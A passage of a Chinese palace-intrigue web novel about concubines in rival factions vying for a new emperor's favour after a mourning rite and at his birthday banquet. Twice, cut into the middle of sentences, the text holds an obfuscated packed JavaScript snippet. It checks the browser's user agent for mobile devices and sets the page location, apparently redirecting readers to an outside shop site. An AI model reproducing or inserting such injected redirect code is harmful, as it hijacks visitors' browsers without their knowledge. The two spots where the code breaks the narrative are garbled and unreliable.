就在这时,一直缩在角落,不敢说话的慎答应许氏,突然鼓起勇气,起身跪在了地上,对着宸贵妃磕了个头,声音带着一丝颤抖,却无比坚定:“娘娘!嫔妾……嫔妾也愿意试一试!求娘娘给嫔妾一个机会!” 所有人都愣住了,看向跪在地上的慎答应,眼里满是惊讶。谁都没想到,这个胆子比兔子还小,见了人连头都不敢抬的慎答应,竟然敢主动请缨去争宠。 宸贵妃也愣了一下,看着她,语气里带着一丝不确定:“慎答应,你……你想好了?争宠不是小事,一旦走上这条路,就没有回头的路了,皇后若是知道了,第一个不会放过你,你不怕吗?” “嫔妾怕!”慎答应抬起头,眼里含着泪,却咬着牙道,“可嫔妾更怕一辈子都像现在这样,任人宰割,连活下去都要提心吊胆!嫔妾这条命,是愉常在姐姐救的,是娘娘给的,若是能为娘娘和阵营出力,嫔妾什么都不怕!” 她顿了顿,擦了擦眼泪,继续道:“嫔妾也知道,嫔妾胆子小,没什么本事,可嫔妾也有优势。嫔妾位份最低,只是个答应,整个后宫里,没人会把嫔妾放在眼里,皇后更是连嫔妾是谁都记不住。嫔妾去争宠,就算在皇上面前多出现几次,也不会有人在意,更不会引起皇后的防备,反而能暗度陈仓,神不知鬼不觉地抓住机会。” “嫔妾对娘娘和愉常在姐姐死心塌地,绝无二心。就算将来真的能怀上皇子,也一定会完全听娘娘和姐姐的话,绝不会有半分异心!求娘娘给嫔妾这个机会,让嫔妾能为阵营出一份力,也能给自己挣一条活路!” 这番话,她说得掏心掏肺,每一个字都带着求生的渴望,带着对未来的期盼。她太清楚了,在这深宫里,没有圣宠,没有孩子,就只能一辈子做角落里的尘埃,任人践踏。她不想再这样下去了,她想抓住这个机会,哪怕前路刀山火海,也想拼一次。 林清芷看着跪在地上的慎答应,眼底闪过一丝欣慰。她当初拉慎答应入阵营,就是看中了她的听话和不起眼,没想到这个小姑娘,竟然还有这样的勇气。 宸贵妃看着慎答应,心里也颇为触动。她原本以为慎答应只是个胆小怯懦的累赘,没想到关键时刻,竟然有这样的胆识。她点了点头,沉声道:“好!有志气!本宫准了!既然你有这份心,本宫就给你这个机会!你和恪贵人,双管齐下,一个在明,一个在暗,互相照应,我就不信,抢不过皇后!” “谢娘娘恩典!谢娘娘!”慎答应喜极而泣,对着宸贵妃重重磕了三个响头,眼泪止不住地往下掉。 宸贵妃摆了摆手,让她起来,目光扫过众人,语气里带着十足的笃定:“既然人选定了,那我们就好好谋划一下。百日祭还有两个月,这两个月里,我们不能急着争宠,先做好铺垫,等百日祭一过,立刻动手,抢在皇后前面,拿下这个永熙朝第一子!” 众人齐齐起身,躬身应道:“嫔妾谨遵娘娘吩咐!” 接下来的半个时辰,几人围在一起,细细地谋划了起来。宸贵妃负责打通皇上身边的太监,摸清皇上的行踪和喜好;恪贵人负责借着给太后抄经的由头,时不时去慈宁宫偶遇皇上,在皇上面前刷存在感,展现自己的沉稳懂事;慎答应则借着给各宫送素点心的由头,时不时在御花园、养心殿附近晃悠,用自己的柔弱无害,给皇上留下印象。 林清芷虽然不想争宠,却也在一旁出了不少主意。她提醒众人,所有的举动都要在国丧规制之内,绝对不能碰任何红线,不能用香,不能穿鲜艳衣服,不能说任何逾矩的话,只在细节处下功夫:比如给皇上做的素点心,要贴合皇上的口味,不能花哨,只突出用心;在皇上面前,要表现得安分守己,温婉懂事,绝不能有半分媚主的样子,免得落人口实;还要提前安排好眼线,盯着皇后那边的动静,一旦有什么风吹草动,立刻应对。 她心思缜密,把所有可能出现的风险、所有需要注意的细节,都一一列了出来,连皇后可能会用的栽赃手段,都提前想好了应对之策,听得众人连连点头,宸贵妃更是对她愈发信任。 议事结束的时候,日头已经升得很高了,春日的阳光透过窗棂照进来,落在殿内的青砖上,暖融融的。众人依次告退,离开了咸福宫。 10. 百日祭礼,争宠开始 林清芷带着清禾和清秀,走在回承乾宫的宫道上。清禾忍不住低声道:“主子,您明明有最好的机会,为什么要拒绝啊?若是您能生下皇上登基后的第一个皇子,将来位份肯定能一飞冲天,再也不用看任何人的脸色了。” 林清芷看着远处连绵的红墙宫阙,脚步不停,淡淡道:“一飞冲天的背后,是万劫不复的深渊。我想要的,从来都不是靠男人的恩宠和肚子里的孩子换来的位份,我想要的,是把命握在自己手里。” 她太清楚了,争宠生子,看似是一步登天,实则是把自己变成了阵营和皇权的生育工具。一旦生下孩子,她就再也没有回头路了,只能一辈子被绑在阵营的战车上,和皇后不死不休,孩子也会变成后宫争斗的牺牲品。她不想过那样的日子,她要走的,是一条更难,却更稳的路。 “恪贵人有野心,有手段,慎答应听话,有冲劲,她们两个人,比我更适合走这条路。”林清芷微微勾了勾唇角,眼底闪过一丝深意,“我们不用走到明面上做靶子,只需要在背后谋划,看着她们往前走,赢了,我们阵营得势,我们自然有好处;输了,我们也不会被牵连,进退自如,这才是最稳妥的路。” 清禾和清秀对视一眼,瞬间明白了过来。自家主子想得,远比她们深远得多。 回到承乾宫东偏殿,林清芷坐在窗边的软榻上,看着院子里刚抽芽的柳枝,指尖轻轻敲着桌面。她知道,从今天起,后宫的争宠之战,已经正式拉开了序幕。皇后不会坐以待毙,一定会有应对的手段,接下来的日子,只会越来越不太平。 可她不怕。 她没有走上争宠的路,却也给自己铺好了更宽的路。宸贵妃的信任,阵营里众人的敬重,皇上和太后的好印象,还有慎答应这个完全忠于自己的人,这些都是她在这深宫里立足的底气。 她抬手拢了拢鬓边的碎发,迎着春日的阳光,眼底闪过一丝坚定的光。这深宫的路有千万条,争宠生子从来都不是唯一的出路。她要守住心里的那束光,走出一条属于自己的,独一无二的路。 永熙元年四月初四,先帝百日祭。 天尚未启明,整座紫禁城便已沉入一片肃穆的素白之中。自元启二十七年腊月廿三先帝驾崩,至此整整一百日,国丧最严苛的禁忌便系于今日这一场祭礼。过了今日,皇上可临幸后宫,六宫可除素饰、添浅色,禁乐解禁,宴饮可复,后宫沉寂三月的暗流,终将在今日之后,彻底翻涌成浪。 林清芷寅时起身,清禾与清秀一左一右为她整理祭服。依旧是全素杭绸,无纹无绣,无香无饰,发髻仅两支素银簪,连耳坠都不敢佩戴。国丧最后一日,半点错处都足以致命。 “主子,今日祭礼过后,宫里就松快了。”清秀压低声音,“听说皇后一早便安排了人盯着咱们这边,就想抓宸贵妃娘娘的错处。” 林清芷对着铜镜轻轻颔首,眼底平静无波:“百日祭是国之大礼,皇后不敢在明面上造次,她真正的刀,藏在祭礼之后。” 她心里比谁都清楚,今日一过,永熙朝第一位皇子的争夺,便正式拉开帷幕。宸贵妃阵营早已布好局,恪贵人金氏、慎答应许氏,两条线同时铺开;而她这位明面上两次立功、深得信任的愉常在,反倒要退居暗处,做最稳的那枚棋。 卯时三刻,六宫妃嫔齐集永寿宫,随皇后往奉先殿而去。 队列之中,宸贵妃居首,身姿端稳,面色沉静,早已没有了往日的张扬锋芒——今日祭祀,她半点锋芒不露,只为安稳收场。恪贵人紧随其侧,妆容素净,举止端庄,眼神沉稳,不显山不露水。慎答应缩在林清芷身后,指尖攥紧帕子,却已不像从前那般浑身发抖,经过数月磨砺,她总算有了几分定力。 另一侧,懿妃白氏带着淑嫔、惜常在,安静而立。懿妃依旧温和浅笑,眼底深不见底;淑嫔抱着三皇子,小心翼翼;唯有末位的惜常在池婉,垂着眼,长长的睫毛遮住眸底微光,指尖无意识摩挲着袖口,那一丝不易察觉的急切,恰好落入林清芷眼底。 林清芷心下一沉——懿妃党,也要动了。 奉先殿内香烟袅袅,先帝牌位居中,百官肃穆,宗室列立。太后端坐主位,皇上萧敬轩一身素色龙袍,面容沉肃,全程行礼如仪,不怒自威。 祭礼冗长而严苛:上香、奠酒、读祭文、三跪九叩、焚帛礼。整整一个时辰,殿内落针可闻,唯有司仪官沉稳的唱喏声回荡。林清芷目不斜视,跪拜起落分毫不差,眼角余光却将各方动静尽收眼底。 皇后始终盯着宸贵妃一行,目光如刀;宸贵妃稳如泰山,分毫不动;恪贵人垂首敛眉,规矩得挑不出半点错;慎答应虽紧张,却牢牢跟着林清芷的步调,未曾出错。 唯有惜常在,在跪拜起身之际,动作微微一顿,目光极快地扫过皇上的方向,又迅速收回。 那一眼,藏着怯,藏着盼,更藏着争宠之心。 林清芷心中了然:懿妃素来沉稳,从不主动出头,可百日祭这天,她绝不会放过这百年一遇的时机。她自己不出面,便推低位份、不起眼的惜常在出来——进可攻,退可守,就算失败,也伤不到懿妃根本。 巳时中,祭礼礼成。 漫长的百日国丧,终于结束。 众人退出奉先殿,春风拂面,阳光落在红墙黄瓦上,竟有了几分暖意。太后先行回宫,皇上对皇后略一颔首,便道:“朕往御花园稍坐,你们各自回宫歇息吧。” 这话一出,后宫众人心中皆是一动。 皇上要留步——这便是机会。 皇后立刻上前,温婉笑道:“皇上连日劳累,不如臣妾陪皇上往养心殿奉茶?” 皇上淡淡摇头:“不必,朕想独自静一静。” 皇后脸色微僵,却不敢再多言。 就在此时,宸贵妃上前一步,语气恭敬得体:“皇上,今日祭礼辛苦,御花园海棠初开,虽国丧毕未敢添艳色,却也清雅。臣妾身边恪贵人、愉常在、慎答应,皆会煮素茶,不如让她们往沁芳亭候着,略尽绵薄,让皇上稍解疲惫。” 一句话,光明正大,合情合理。 既不谄媚,也不逾矩,却顺理成章地把恪贵人与慎答应,送到了皇上眼前。 皇后脸色瞬间沉下,厉声便要开口:“宸贵妃,皇上刚行完祭礼,你怎可——” “贵妃所言有理。”皇上打断皇后,目光淡淡扫过宸贵妃身后众人,最终在恪贵人与慎答应身上稍作停留,语气平静,“既如此,便让恪贵人、慎答应,往沁芳亭备茶。” 未提林清芷,未提贤嫔,偏偏点了恪贵人、慎答应。 宸贵妃心中一喜,面上依旧沉稳:“臣妾遵旨。” 皇后气得指尖发白,却无可奈何——皇上亲口应允,她再阻拦,便是善妒不识大体。 懿妃站在一旁,笑意温和,眼底却掠过一丝冷光。她轻轻拍了拍惜常在的手,低声道:“你不是新抄了《心经》?既抄得诚心,便往御花园寻个清静处诵读,也算告慰先帝。” 惜常在身子微颤,立刻屈膝:“嫔妾遵懿妃娘娘吩咐。” 一明一暗,两条争宠之路,同时铺开。 御花园沁芳亭内,素几净茶,无香无花,唯有一壶清水煮白毫。 恪贵人跪坐煮茶,手法娴熟,举止端庄,不发一言,不抬一眼,只安安静静烧水、烫盏、注汤、出汤,每一个动作都沉稳有度,恰到好处。她不争不抢,不卑不亢,正是皇上最易放下戒心的模样。 慎答应站在一侧,垂首奉茶,声音轻细温柔:“皇上,请用茶。” 她姿态低微,眼神干净,没有半分媚态,只有安分守己的柔顺,恰好戳中皇上对低位份妃嫔的放心之处。 皇上端起茶盏,轻抿一口,目光落在恪贵人身上:“你煮茶的手法,很稳。” 恪贵人微微垂首,语气谦和:“回皇上,嫔妾只是笨鸟先飞,平日无事,便学着静心煮茶,只求手稳心稳,不惹是非。” “不惹是非,甚好。”皇上微微颔首。 简简单单两句对话,却已是恩宠的开端。 不远处的垂柳之下,惜常在素衣而立,手持一卷经文,低声诵读。声音清柔婉转,不大不小,恰好能飘入沁芳亭,却又不显得刻意惊扰。她身姿纤细,垂首诵经,侧脸温婉,在春光里显得格外干净柔弱。 皇上目光不经意间扫过,顿了顿。 惜常在似是毫无察觉,依旧垂首诵读,经文虔诚,语调轻柔,连指尖捏着书卷的样子,都带着几分怯生生的惹人怜惜。 懿妃站在更远的花荫下,静静看着这一切,嘴角勾起一抹浅淡而胸有成竹的笑。 她不用争,不用抢,只需要让惜常在以“虔诚、柔弱、安静”的模样入眼,便足够了。皇上刚结束国丧,心绪沉郁,最易被这样干净无害的女子打动。 林清芷并未靠近沁芳亭,只站在九曲桥的另一头,远远望着这一幕。清禾低声道:“主子,皇上对恪贵人、慎答应,都多看了几眼,惜常在也在那边……懿妃娘娘这是,也动手了?” 林清芷轻轻“嗯”了一声:“懿妃最聪明,自己不出面,推惜常在出来。惜常在位份低、无家世、无威胁,皇上不设防,皇后不放在眼里,反倒最容易得手。” “那咱们……” “咱们不动。”林清芷语气平静,“我越退,越安全;恪贵人与慎答应在前,我在幕后谋划,赢了,我们阵营得利;输了,我也能全身而退。这深宫之中,最稳的,从来不是站在最前面的人。” 她看得透彻:宸贵妃要的是永熙朝第一子,恪贵人要的是恩宠与位份,慎答应要的是活命与靠山,惜常在要的是摆脱卑微,懿妃要的是坐收渔利。 而她要的,从来不是一时恩宠,是掌自己的命。 半个时辰后,皇上起身离开沁芳亭,并未翻牌子,也未留宿任何一宫,却留下了一句话。 “恪贵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344796|199488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人煮茶有度,赏素色缎两匹;慎答应奉茶恭谨,赏绢一匹。” 虽无重赏,却是明晃晃的青睐。 消息一传出,后宫瞬间震动。 百日祭刚结束,宸贵妃党便拔得头筹,恪贵人和慎答应,同时入了皇上的眼。 皇后回到永寿宫,气得砸碎了一整套素瓷茶具,脸色铁青:“宸贵妃!好一个宸贵妃!刚过百日祭就迫不及待送人争宠!她真当本宫这个皇后是摆设不成!” 身边掌事嬷嬷连忙劝道:“娘娘息怒,不过是赏了些缎匹绢帛,还未侍寝,不算什么。咱们也有法子……” “法子?”皇后冷笑,“本宫当然有。惜常在那边,不是也动了吗?懿妃想坐山观虎斗,本宫就让她斗!先让惜常在去绊住宸贵妃的人,咱们再坐收渔利!” 后宫格局,一夜之间变了风向。 咸福宫内,宸贵妃满面笑意,看着站在殿中的恪贵人与慎答应,语气欣慰:“好!好!今日你们做得极好!皇上已经记住你们了,接下来,便是水到渠成!” 恪贵人屈膝行礼,沉稳有度:“全凭娘娘安排,嫔妾不敢居功。” 慎答应激动得眼眶发红,屈膝跪下:“谢娘娘成全!嫔妾必定尽心尽力,不负娘娘厚望!” 宸贵妃扶起她,又看向站在一侧安静而立的林清芷,语气格外温和:“愉常在,今日虽不是你出面,可若不是你此前一再叮嘱规矩、谋划细节,她们也不会如此稳妥。你虽不争,却是咱们阵营最稳的支柱,本宫记在心里。” 林清芷垂首谦逊:“娘娘谬赞,嫔妾只是分内之事。恪贵人娘娘端庄有度,慎答应妹妹柔顺安分,她们入皇上的眼,是情理之中。嫔妾只愿娘娘安稳,阵营安稳,便足够了。” 她越是不争,宸贵妃越是信任;越是退居幕后,越是手握重心。 贤嫔也笑着上前:“愉常在妹妹最是聪慧,有你在,咱们便有主心骨。等恪贵人妹妹或是慎答应妹妹有了喜讯,咱们阵营,便真正稳了。” 众人皆是欢喜,唯有林清芷心中清明。 她抬眼望向窗外,目先往惜常在所居之处看。 争宠,才刚刚开始。 懿妃不会坐视恪贵人、慎答应得宠,皇后更不会。接下来的御花园、御书房、佛堂、书斋,处处都会是战场。栽赃、陷害、挑拨、离间,一样都不会少。 而惜常在,便是懿妃丢出来的第一枚暗子。 未时末,御花园再遇。 皇上午后闲步,恰好遇上抄经完毕的惜常在。 池婉跪在路边行礼,声音细弱,身子微微发颤,一副胆小怯弱的模样:“嫔妾……嫔妾给皇上请安,皇上万安。” 皇上见她这般模样,反倒放缓了语气:“起身吧,方才经文诵读得很虔诚。” 惜常在缓缓起身,垂首道:“嫔妾……嫔妾只是心中记挂先帝,也愿祈福皇上身体安康,江山稳固。” 话语朴素,无半分邀宠,却句句戳心。 皇上微微点头:“有心了。” 简单四字,却已足够。 这一幕,恰好被前来赏花的恪贵人看见。恪贵人脚步微顿,眼底掠过一丝警惕,却并未上前,只是安静转身,悄然退走——她懂得,不争,便是最好的争。 慎答应跟在恪贵人身后,小声道:“姐姐,惜常在她……” “别声张。”恪贵人低声道,“愉常在说得对,我们稳住自己,便是赢。她要争,由她争,我们只需要不出错,便足够。” 两人悄然离去,并未与惜常在打照面。 这一切,都被暗处的林清芷看在眼里。 她嘴角微扬,心中已有定数。 恪贵人沉稳,能走长远;慎答应听话,能做暗棋;惜常在柔弱,能得一时怜惜;懿妃深沉,能藏于幕后;皇后狠辣,能明刀明枪;宸贵妃强势,能撑腰挡灾。 而她,只需要做那个观局、定局、稳局的人。 夕阳西下,余晖染红宫墙。 林清芷缓步走回承乾宫,春风拂过,枝头新绿摇曳。百日祭已过,禁忌解除,六宫争宠的大幕,彻底拉开。 恪贵人、慎答应在前承宠,惜常在暗中发力,懿妃坐观成败,皇后虎视眈眈,宸贵妃全力撑腰。 刀光剑影,暗流汹涌。 林清芷推开殿门,暖光扑面而来。 清禾轻声道:“主子,往后宫里,就不太平了。” 林清芷坐下,端起一杯温水,语气平静而坚定: “不太平,才有机遇。她们争她们的宠,我走我的路。我不争一时恩宠,不争腹中贵子,我只争——这一生,不被人拿捏,不任人践踏,在这深宫里,活成自己的光。” 窗外夜色渐起,星光初现。 她知道,明日晨起,后宫便会风起云涌。 但她无所畏惧。 因为她心里的那束光,从未熄灭,也永远不会熄灭。 11. 何氏解禁,思量夺宠 永熙元年四月初十,永和宫的朱红宫门终于卸下了封条。 三月禁足期满,恬贵人何氏踏出殿门的那一刻,春日的阳光晃得她几乎睁不开眼。三月前亲蚕礼上,她栽赃贤嫔与林清芷不成,反被皇后推出来顶罪,禁足永和宫三月,每日抄写十遍宫规,连院子都不能踏出一步。 如今再站在阳光下,她身上的锐气磨去了大半,眼底多了几分禁足日子里熬出来的惶恐与阴鸷。贴身宫女扶着她的胳膊,小声道:“主子,您可算出来了。方才永寿宫的嬷嬷传了话,皇后娘娘请您过去一趟。” 恬贵人的身子微微一颤,指尖瞬间攥紧了素色的袖口。她太清楚皇后的性子了,之前她办事不力,坏了皇后的布局,禁足三月已是轻罚,如今召见,少不得一顿敲打,更少不了要给她派新的差事。可她不敢不去,在这后宫里,皇后是她唯一的靠山,没了皇后,她连慎答应都不如。 “知道了,备轿吧。”恬贵人深吸一口气,压下心头的惶恐,扶着宫女的手上了轿子,往永寿宫去了。 永寿宫正殿里,皇后沈氏端坐在上首的凤椅上,一身石青色常服,眉眼间满是中宫的冷冽。见恬贵人进来,她连眼皮都没抬一下,手里的茶盏重重磕在桌案上,发出一声脆响。 恬贵人吓得腿一软,“噗通”一声跪在了地上,头埋得极低,声音带着颤抖:“嫔妾给皇后娘娘请安,娘娘千岁千岁千千岁。嫔妾之前办事不力,辜负了娘娘的厚望,求娘娘责罚。” “责罚?禁足三月,难道就够了?”皇后冷冷开口,目光像刀子一样刮在她身上,“本宫给你机会,让你借着亲蚕礼除掉贤嫔,再把林清芷那个贱婢一起拉下水,你倒好,不仅没办成事,反倒把本宫的心腹嬷嬷折了进去,让本宫在太后面前、皇上面前丢尽了脸面!你说,本宫留着你,还有什么用?” 恬贵人吓得浑身发抖,连连磕头,额头都磕出了红印:“娘娘恕罪!嫔妾知错了!嫔妾一时糊涂,才会被林清芷那个贱婢钻了空子!求娘娘再给嫔妾一次机会,嫔妾这次一定拼尽全力,绝不会再让娘娘失望!” “再给你一次机会?”皇后嗤笑一声,身子微微前倾,盯着她道,“好,本宫就再给你最后一次机会。你给本宫记好了,这次要是再办砸了,本宫也保不住你,你就自己去冷宫待着吧。” 恬贵人连忙抬起头,眼里满是急切:“娘娘请吩咐!嫔妾上刀山下火海,万死不辞!” “本宫不要你上刀山下火海,本宫要你争宠。”皇后的声音平静,却带着不容置疑的威压,“百日祭已过,皇上第一次翻牌子,选了慎答应那个上不得台面的贱婢,宸贵妃那边占了先机,懿妃那边的惜常在也是个扶不起的废物,本宫手里,如今能用上的,只有你了。” 她顿了顿,语气里带着恨铁不成钢:“你是潜邸就跟着皇上的老人,家世比慎答应、惜常在那些人强得多,容貌也不差,凭什么让那些贱婢抢了先?六天之后是皇上的万寿节,本宫会给你安排机会,让你在皇上跟前露脸。万寿节过后,你给本宫想尽一切办法,争得圣宠,最好能抢在所有人前面,怀上永熙朝的第一个皇子,听明白了吗?” 恬贵人的心脏猛地一跳,眼里瞬间燃起了光。她禁足三月,最怕的就是被皇后彻底放弃,如今皇后不仅给了她机会,还许她争宠生子,这是她做梦都想的事。她连忙重重磕了个头,声音带着激动的颤抖:“嫔妾听明白了!嫔妾一定不辜负娘娘的厚望!一定抢在宸贵妃那些人前面,怀上龙胎,为娘娘分忧!” “光有决心没用。”皇后摆了摆手,语气冷了几分,“你给本宫记住,不要再像上次那样鲁莽冲动。林清芷那个贱婢心思深,慎答应如今正得宠,你不要贸然和她们起冲突,先安安稳稳地在皇上面前刷足好感,得了圣宠,再说其他的。” 她抬手,身边的掌事嬷嬷递过来一个锦盒。皇后示意嬷嬷递给恬贵人,淡淡道:“这里面是皇上早年最喜欢的松子糕的方子,还有一身素色的软缎常服,料子是江南新贡的,不扎眼却显身段,万寿节那天,你穿着这身衣服,亲手给皇上做松子糕献上,皇上念着旧情,定会多看你几眼。” “谢娘娘!谢娘娘恩典!”恬贵人双手接过锦盒,宝贝似的抱在怀里,感激涕零地连连磕头。 “行了,起来吧。”皇后看着她这副样子,脸色缓和了几分,“回去好好准备,别再让本宫失望。记住,你是本宫的人,你得了圣宠,本宫脸上也有光,往后在这后宫里,你的日子只会越来越好。可你要是再办砸了,本宫第一个饶不了你。” “嫔妾记住了!嫔妾绝不让娘娘失望!”恬贵人恭恭敬敬地应下,躬身退了出去。 走出永寿宫,春日的风拂在脸上,恬贵人抱着怀里的锦盒,眼底的惶恐散去,取而代之的是浓浓的嫉妒与不甘。她恨林清芷,几次三番坏她的事;她恨慎答应,一个小小的答应,竟然抢在了她前面得了皇上的恩宠;她更恨自己,空有潜邸老人的身份,却混得连低位份的答应都不如。 “主子,咱们现在回永和宫?”宫女轻声问道。 “回。”恬贵人咬了咬牙,眼底闪过一丝狠厉,“回去好好准备,万寿节那天,我一定要让皇上记住我。我倒要看看,慎答应那个贱婢,拿什么和我比!” 与此同时,承乾宫东偏殿里,林清芷正坐在窗边的软榻上,听着清禾回禀恬贵人解禁、被皇后召去永寿宫的消息。 “主子,恬贵人禁足期满,刚从永寿宫出来,皇后娘娘怕是又要让她出来兴风作浪了。”清禾语气里带着担忧,“之前她就恨您恨得牙痒痒,这次出来,肯定会针对您和慎答应妹妹,咱们可得提前防备着。” 林清芷端起茶盏,轻轻抿了一口,脸上没有半分慌乱,淡淡道:“意料之中的事。皇后手里没人了,除了恬贵人,她无人可用。百日祭过后,第一个侍寝的是慎答应,宸贵妃党占了先,皇后急了,自然要逼着恬贵人出来争宠。” “那咱们怎么办?”清秀连忙问道,“要不要提前和宸贵妃娘娘说一声?” “不必。”林清芷放下茶盏,指尖轻轻敲着桌面,“皇后要让恬贵人争宠,随她去。后宫争宠,从来不是谁逼得紧,谁就能得宠的。恬贵人性子鲁莽,没什么城府,之前栽了那么大的跟头,这次只会更急,越急越容易出错,根本不足为惧。” 她话音刚落,殿外就传来了慎答应的声音,带着一丝慌乱:“姐姐?姐姐在吗?” 林清芷抬眼望去,只见慎答应许氏快步走了进来,脸色发白,一见到她就抓住了她的手,急声道:“姐姐,我听说恬贵人解禁了!皇后还召她去了永寿宫!她之前就恨我们入骨,这次出来,肯定会针对我们的,怎么办啊?” 慎答应自四月初六侍寝之后,皇上又召过她两次,虽未晋位,却已是后宫里实打实的新宠,皇后和恬贵人自然把她当成了眼中钉。她本就胆小,如今更是慌得六神无主,只能来找林清芷拿主意。 林清芷拍了拍她的手,语气温和却坚定:“别怕,有我在。恬贵人就算出来了,也翻不起什么大浪。你记住,越是这个时候,你越要沉住气,依旧像以前一样,谨言慎行,安分守己,不主动惹事,也不与她起正面冲突。她就算想针对你,也抓不到你的把柄。” 她顿了顿,细细叮嘱道:“万寿节快到了,那天人多眼杂,是最容易出事的时候。你那天只管安安静静待着,不要出风头,不要抢话,献礼也按我之前跟你说的,就献你亲手抄的祈福经文,不出错,不张扬,皇上和太后只会觉得你沉稳懂事,恬贵人就算想耍什么花样,也伤不到你。” 慎答应牢牢记住了她的话,用力点了点头,心里的慌乱散去了大半:“我记住了,姐姐。我都听你的,绝不给你惹麻烦,也绝不给娘娘惹麻烦。” 林清芷笑着点了点头,又安抚了她几句,才让她回储秀宫去了。看着慎答应远去的背影,清禾忍不住道:“主子,您真是把什么都想到了。只是万寿节那天,皇后和恬贵人肯定不会安分,咱们真的不用提前做什么准备吗?” “准备自然要做。”林清芷站起身,走到窗边,看着远处的永寿宫方向,眼底闪过一丝深意,“我们不用主动出手,只需要看着就好。皇后想让恬贵人争宠,懿妃想让惜常在出头,宸贵妃等着恪贵人发力,这万寿节,本就是一场好戏。我们只需要守好自己的本分,不出错,不掺和,坐山观虎斗就好。” 她争的从来不是一时的恩宠,是这后宫里的安身立命。万寿节这场局,谁越急着出头,谁就越容易摔得惨。 六日转瞬即逝,永熙元年四月十六,皇上万寿节。 虽为先帝驾崩未满一年,国丧期未完全结束,万寿节并未大操大办,只在慈宁宫办了一场小型的家宴,宴请宗室亲王、近支宗亲与后宫妃嫔,无丝竹宴饮,无奢华陈设,只设了素席,却也处处透着皇家的庄重与体面。 天刚过午,慈宁宫正殿就已布置妥当。上首设了三个席位,正中是太后,左侧是皇上萧敬轩,右侧是皇后沈氏。下方按位份依次设席,左侧是宸贵妃、贤嫔、恪贵人、愉常在、慎答应,右侧是懿妃、淑嫔、恬贵人、惜常在,泾渭分明,一眼便知后宫的阵营格局。 未时正,太后身着深棕色常服,头戴素金簪,在宫女的搀扶下缓步走入正殿,皇上与皇后连忙起身相迎,后宫众人与宗室亲王齐齐跪下,高声道:“给太后娘娘请安,太后福寿安康!给皇上请安,吾皇万岁万岁万万岁!” “都起来吧。”太后摆了摆手,脸上带着温和的笑意,“今日是皇上的万寿节,家宴而已,不必这么拘礼,都落座吧。” 众人谢恩起身,依次按位份落座。林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344797|199488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清芷坐在末位,一身素色杭绸常服,发髻只插了两支素银簪子,素面朝天,安安静静地垂首坐着,不抬眼,不张望,完美地隐在众人之中,却又让人无法忽略她身上的沉稳气度。 她眼角的余光扫过全场,将所有人的动静尽收眼底:皇后端坐席上,时不时看向身侧的皇上,眼底带着刻意的温婉;宸贵妃端着酒杯,漫不经心地和身侧的贤嫔说着话,眼角却时不时扫过皇上;恪贵人安安静静地坐着,不声不响,却时刻留意着场上的动静;恬贵人坐在右侧席上,身子坐得笔直,手里紧紧攥着酒杯,眼神时不时瞟向皇上,满脸的急切;惜常在缩在懿妃身侧,垂着眼,手指无意识地摩挲着袖口,眼底藏着期待。 家宴开席,先是宗室亲王依次起身敬酒,祝皇上万寿无疆,江山永固。皇上一一应下,言语间满是帝王的沉稳与威仪。宗室敬完酒,便轮到后宫妃嫔依次上前献礼、敬酒。 皇后率先起身,捧着一个紫檀木匣子,走到殿中,躬身道:“臣妾恭祝皇上万寿无疆,国泰民安。臣妾亲手绣了一幅《江山永固图》,祝皇上山河在握,盛世长宁。” 太监接过匣子,呈到皇上面前,皇上打开看了看,点了点头:“皇后有心了。” 皇后脸上露出笑意,躬身退了下去。紧接着是宸贵妃,她献上的是亲手抄录的一百卷《金刚经》,为皇上祈福,为先帝追福,既贴合了国丧期的规制,又尽显心意,皇上看了,也温声夸了一句“用心了”。 再往后,贤嫔、懿妃、淑嫔依次献礼,皆中规中矩,不出错也不出彩。轮到恪贵人时,她献上的是一方亲手雕刻的竹砚,素面无纹,只刻了“勤政爱民”四个字,贴合皇上治国之心,皇上见了,眼底闪过一丝赞许,夸了句“手很巧”。 轮到恬贵人时,她连忙起身,捧着一个食盒,快步走到殿中,脸上带着刻意的温婉,躬身道:“嫔妾恭祝皇上万寿安康。嫔妾没什么别的本事,只亲手做了皇上早年最喜欢的松子糕,祝皇上龙体康健,万事顺遂。” 这话一出,殿内瞬间安静了几分。所有人都知道,她这是在打旧情牌,借着潜邸的旧事博皇上的关注。皇后坐在上首,嘴角勾起一抹满意的笑意,宸贵妃则嗤笑一声,满脸不屑。 皇上看着食盒,脸上没什么表情,淡淡道:“有心了,放下吧。” 没有夸赞,没有动容,只有一句平平淡淡的“有心了”。恬贵人脸上的笑意瞬间僵住,心里一阵失落,却不敢多说什么,只能躬身退了下去,回到席上,手指紧紧攥着帕子,眼底满是不甘。 紧接着是林清芷,她捧着一个素布包裹,缓步走到殿中,躬身行礼,声音平稳谦和:“嫔妾恭祝皇上万寿无疆,福泽绵长。嫔妾位份低微,无甚好礼,只亲手抄录了先帝在世时颁布的劝农诏令与皇上登基后发布的安民告示,装订成册,祝皇上不忘先帝遗志,守好江山,护好百姓。” 这话一出,不仅皇上愣了一下,连太后都抬眼看向她,眼底闪过一丝赞许。国丧期内,献礼不重奢华,不重私情,只重江山社稷,既顾全了先帝的孝道,又贴合了皇上的帝王之心,比那些祈福经文、手工摆件,不知高了多少倍。 